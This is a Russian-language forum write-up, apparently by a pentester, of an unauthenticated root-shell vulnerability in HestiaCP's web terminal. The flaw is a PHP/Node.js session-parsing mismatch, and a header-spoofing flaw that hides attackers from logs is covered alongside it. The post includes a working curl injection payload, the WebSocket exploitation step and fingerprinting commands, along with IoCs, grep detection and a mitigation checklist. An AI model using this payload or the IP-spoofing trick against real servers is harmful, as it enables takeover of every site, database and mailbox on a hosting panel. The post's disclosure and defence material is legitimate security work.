На пентесте shared-хостинга я наткнулся на HestiaCP 1.9.3 с включённым web terminal на порту 8083. Два запроса через
curl - root shell, ноль аутентификации. Просто вдумайтесь: два запроса.CVE-2026-43633 (CVSS 9.5, CWE-502) бьёт в архитектурную ошибку, которую видишь раз - запоминаешь навсегда: PHP пишет контролируемые атакующим данные в сессионный файл с length-prefixed сериализацией, а Node.js-компонент web terminal парсит тот же файл наивным
split(), не понимая границ значений. По данным Mercury ISS, около 200 000 инстансов HestiaCP торчат в интернет, и 10-15% из них крутят активный web terminal - тот самый уязвимый компонент.Бизнес-логика атаки: зачем атакующему root на хостинг-панели
Root shell на HestiaCP - это не один скомпрометированный сервер. Это вся инфраструктура хостинга целиком. Панель управляет доменами, почтой, базами данных и DNS-записями десятков клиентов одновременно. Что получает атакующий:- Полный контроль над сайтами всех пользователей панели - web shell, подмена контента, кража исходников и бэкапов
- Прямой доступ к MySQL/PostgreSQL через CLI:
v-list-databasesиv-list-db-usersвыводят все учётные данные без дополнительных привилегий - Перехват и перенаправление почты через модификацию конфигурации Exim/Dovecot
- Плацдарм для lateral movement - VPS с хостинг-панелью нередко сидит в инфраструктуре, где есть сетевой доступ к другим серверам заказчика
Архитектура уязвимости: PHP и Node.js делят сессионные файлы
HestiaCP - open-source форк VestaCP для управления веб-хостингом на Debian и Ubuntu. Архитектура гибридная: веб-интерфейс на порту 8083 работает через Nginx + PHP-FPM, а web terminal - отдельный Node.js-процесс, который даёт интерактивный shell через WebSocket.
Корень проблемы - оба компонента работают с одними и теми же сессионными файлами в каталоге
$HESTIA/data/sessions/. PHP записывает данные в формате нативной сериализации: key|s:LENGTH:"VALUE";, где LENGTH - количество байт в VALUE. Node.js читает те же файлы, но PHP-десериализатор не использует. Вместо этого - текстовые операции split(), которые понятия не имеют о границах сериализации.Это и есть session mismatch (session confusion) - два парсера с несовместимой семантикой на одном потоке данных. PHP корректно разграничивает значения по длине в байтах. Node.js ищет символы-разделители позиционно, не учитывая, что
|, s: и " могут быть частью значения другого поля. Ни один компонент по отдельности не содержит уязвимости - проблема возникает исключительно на стыке. Классическая ситуация: каждый прав, а вместе - дыра.PHP-сторона: X-Forwarded-For попадает в сессию без санитизации
На каждом page load файлweb/inc/main.php конкатенирует HTTP-заголовки прямо в $_SESSION. Nginx в дефолтной конфигурации HestiaCP передаёт X-Forwarded-For от клиента к PHP-FPM без переопределения:
PHP:
$user_combined_ip = "";
if (isset($_SERVER["REMOTE_ADDR"])) {
$user_combined_ip = $_SERVER["REMOTE_ADDR"];
}
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$user_combined_ip .= "|" . $_SERVER["HTTP_X_FORWARDED_FOR"];
}
$_SESSION["user_combined_ip"] = $user_combined_ip;
X-Forwarded-For. PHP записывает его в сессионный файл в формате user_combined_ip|s:LENGTH:"VALUE";. Благодаря length-prefixed формату PHP корректно обрабатывает вложенные разделители | и " - он считает байты, а не ищет символы. С точки зрения PHP-сериализатора вложенные спецсимволы - просто часть значения строки, ограниченной счётчиком длины. Проблемы нет. До тех пор, пока файл читает PHP.Node.js: наивный split() вместо десериализатора
Web terminal извлекает имя пользователя из raw-содержимого сессионного файла текстовыми операциями:
JavaScript:
const file = readFileSync(`${HESTIA}/data/sessions/sess_${sessionID}`);
const session = file.toString();
const login = session.split('user|s:')[1].split('"')[1];
const impersonating = session.split('look|s:')[1].split('"')[1];
const username = impersonating.length > 0 ? impersonating : login;
split('user|s:') разбивает весь файл по подстроке user|s: и берёт фрагмент после первого совпадения. Затем split('"')[1] извлекает текст между первой парой кавычек. Проблема: split() ищет подстроку в ЛЮБОМ месте файла, включая внутри значений других полей.Если атакующий отправит заголовок
X-Forwarded-For: user|s:4:"root", PHP запишет в сессионный файл строку вида: ...user_combined_ip|s:27:"172.17.0.1|user|s:4:"root"";look|s:0:"";.... PHP-парсер видит это как одно значение длиной 27 байт. А Node.js видит подстроку user|s:4:"root" и извлекает из неё root как имя пользователя. Терминал открывается от имени root.И ещё один подарок: Node.js не проверяет, аутентифицирована ли сессия. Проверяется только существование сессионного файла и возможность выдернуть из него username. А сессия создаётся при любом обращении к PHP-интерфейсу - достаточно открыть страницу
/login/ без ввода каких-либо учётных данных.Эксплуатация CVE-2026-43633: от HTTP-заголовка до root shell
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Два запроса до root
Шаг 1 - создание отравленной сессии. Отправляем GET на любую страницу HestiaCP с injection payload вX-Forwarded-For:
Bash:
curl -sk -H 'X-Forwarded-For: user|s:4:"root"' https://target:8083/login/ -c cookies.txt
sess_<ID> и записывает значение user_combined_ip с внедрённым payload. Результат в файле: ...user_combined_ip|s:27:"172.17.0.1|user|s:4:"root"";look|s:0:"";.... Для PHP - штатная строка IP-адреса длиной 27 байт. Для Node.js - готовый injection primitive.Шаг 2 - подключение к web terminal. Используем session cookie из
cookies.txt для WebSocket-подключения к web terminal. Node.js читает сессионный файл, выполняет split('user|s:'), находит инжектированный фрагмент user|s:4:"root" внутри user_combined_ip, вызывает split('"')[1], получает строку root и открывает терминальную сессию от имени root. Без пароля, без проверки аутентификации - её на уровне web terminal просто не существует.Итог: интерактивный shell с привилегиями root через два HTTP-запроса. Время от первого запроса до shell - секунды.
CVE-2026-43634: IP spoofing для операций без следов в логах
Параллельно с RCE в HestiaCP 1.2.0-1.9.4 сидит IP spoofing (CVE-2026-43634, CVSS 8.7, CWE-348). Обработчик логина и сессионный трекер доверяют HTTP-заголовку
CF-Connecting-IP без проверки, что запрос реально пришёл от Cloudflare. Единственная валидация - синтаксическая проверка формата IP через FILTER_VALIDATE_IP(https://www.php.net/manual/en/filter.filters.validate.php). Любой клиент, подключающийся напрямую к порту 8083, может подставить произвольный IP.Что это даёт для OPSEC атакующего:
- Все записи в auth-логах содержат поддельный IP - реальный адрес не фиксируется нигде
- Fail2ban банит поддельный IP вместо настоящего
- Функция
v-add-firewall-banявно отказывается банить127.0.0.1и адреса самого сервера - атакующий подставляет loopback и становится неблокируемым
Место в kill chain и ограничения техники
В терминах MITRE ATT&CK эксплуатация CVE-2026-43633 проходит через следующие этапы:- Exploit Public-Facing Application (T1190, Initial Access) - HTTP-запрос с payload в
X-Forwarded-Forсоздаёт отравленную сессию - Web Session Cookie (T1550.004) - использование session cookie для доступа к web terminal с подменённым username
- Unix Shell (T1059.004, Execution) - интерактивный root shell через WebSocket
- Exploitation for Privilege Escalation (T1068) - session mismatch сразу даёт root без промежуточных шагов
/etc/shadow (T1003.008), lateral movement в инфраструктуре клиентов хостинга через SSH-ключи и данные из баз.| Сценарий | Применимость | Комментарий |
|---|---|---|
| Внешний пентест, black box | Да | Fingerprinting HestiaCP тривиален |
| Внутренний пентест, grey box | Да | Учётные данные не требуются |
| Red team, OPSEC-критичный | Да | В связке с CVE-2026-43634 логи чистые |
| Массовый recon (bug bounty) | Ограниченно | Web terminal включён на 10-15% инстансов |
Историческая справка: HestiaCP уже имела проблемы с привилегиями - CVE-2022-2626 (CVSS 7.2, CWE-266) позволяла privilege escalation через принадлежность пользователя
admin к одноимённой группе с root-правами в дефолтном /etc/sudoers Ubuntu. Отдельно: исследователи из Project Black описали broken authorization в механизме panel cron jobs, позволяющую low-privileged пользователю сменить пароль администратора через v-change-user-password. Паттерн повторяется - архитектурные решения, унаследованные от VestaCP, раз за разом создают поверхность для privilege escalation.Ограничения
- Узкий attack surface. Web terminal - опциональный компонент. На 85-90% инстансов отключён. При массовом сканировании конверсия из "найден HestiaCP" в "эксплуатация возможна" - порядка 10-15%
- Строгий диапазон версий. Только 1.9.0-1.9.4. Более ранние версии не содержат уязвимую реализацию web terminal в этом варианте
- Патч в main branch. Те, кто собирает HestiaCP из исходников, уже защищены. Ожидается официальный релиз
- WAF/reverse proxy. Если перед HestiaCP стоит proxy, перезаписывающий
X-Forwarded-For, payload не достигнет сессионного файла - Forensic-артефакт. Отравленный сессионный файл содержит нетипичное значение
user_combined_ipс подстрокамиuser|s:- простой grep обнаружит эксплуатацию post-factum - Нет готового Nuclei-шаблона. В nuclei-templates пока отсутствует template для CVE-2026-43633 (в отличие от CVE-2026-41940 для cPanel, где template уже доступен)
Fingerprinting уязвимых инстансов HestiaCP
Определение уязвимого инстанса при пентесте хостинг-панелей укладывается в четыре шага:- Обнаружение порта 8083. Дефолтный для HestiaCP.
nmap -sS -p 8083 targetили массовый recon черезhttpx -p 8083 -title -status-codeна списке целей - Идентификация панели. Ответ на
curl -sI https://target:8083/содержитSet-Cookie: PHPSESSID, HTML страницы/login/содержит характерный title и CSS-пути с упоминанием HestiaCP - Определение версии. Footer веб-интерфейса, CSS/JS-файлы с версией в query-параметре, иногда заголовок ответа. При black box без аутентификации - версия может быть недоступна напрямую, но CSS-файлы часто содержат хэш или номер билда
- Проверка web terminal. Попытка WebSocket-подключения к эндпоинту web terminal. Если компонент отключён - connection refused или 404. Если включён - WebSocket handshake пройдёт (но сессия без injection не даст shell)
Детект и митигация
Обнаружение эксплуатации
IoC для blue team и администраторов:- Подстроки
user|s:илиlook|s:внутри значенияuser_combined_ipв файлах$HESTIA/data/sessions/sess_*- прямой индикатор session injection - WebSocket-подключения к web terminal с session ID, для которого нет записи об успешной аутентификации
- HTTP-запросы к порту 8083 с
X-Forwarded-For, содержащим спецсимволы PHP-сериализации:|s:,:","; - Запросы с
CF-Connecting-IPне от IP-адресов Cloudflare (индикатор CVE-2026-43634)
Чеклист для администратора HestiaCP
- Проверить версию:
v-list-sys-info | grep VERSION- если 1.9.0-1.9.4, инстанс уязвим - Отключить web terminal немедленно:
v-delete-sys-web-terminal - Ограничить порт 8083 доверенными IP на уровне файрвола:
iptables -A INPUT -p tcp --dport 8083 ! -s TRUSTED_IP -j DROP - Проверить сессии на компрометацию:
grep -rl 'user|s:' $HESTIA/data/sessions/ - Аудит auth-логов: искать source IP
127.0.0.1или IP самого сервера - индикатор CVE-2026-43634 - Обновить HestiaCP до последнего коммита main branch или дождаться официального релиза
- Добавить в конфигурацию Nginx принудительную перезапись заголовка:
proxy_set_header X-Forwarded-For $remote_addr;
Я называю этот класс багов session confusion - и он хуже классической CWE-502 с
unserialize() на пользовательском вводе. Тут нет вызова unserialize(). Два парсера с несовместимой семантикой на одном файле, и каждый по отдельности работает корректно. Ни SAST, ни DAST такое не найдут: SAST анализирует компоненты изолированно, DAST не знает, какой payload в каком заголовке вызовет cross-runtime confusion. Единственный способ - ручной анализ межкомпонентного взаимодействия: какие файлы (или shared memory, или БД) пишет один процесс и читает другой. Совпадают ли форматы парсинга. При аудите любой панели с гибридной архитектурой - PHP + Node.js, Python + Go, Ruby + JavaScript - ищите общие хранилища состояния первым делом. Это самая короткая дорога к unauthenticated RCE, и я уверен, что аналогичные session confusion баги прячутся в десятках менее популярных панелей - просто туда пока никто не смотрел.
Последнее редактирование модератором: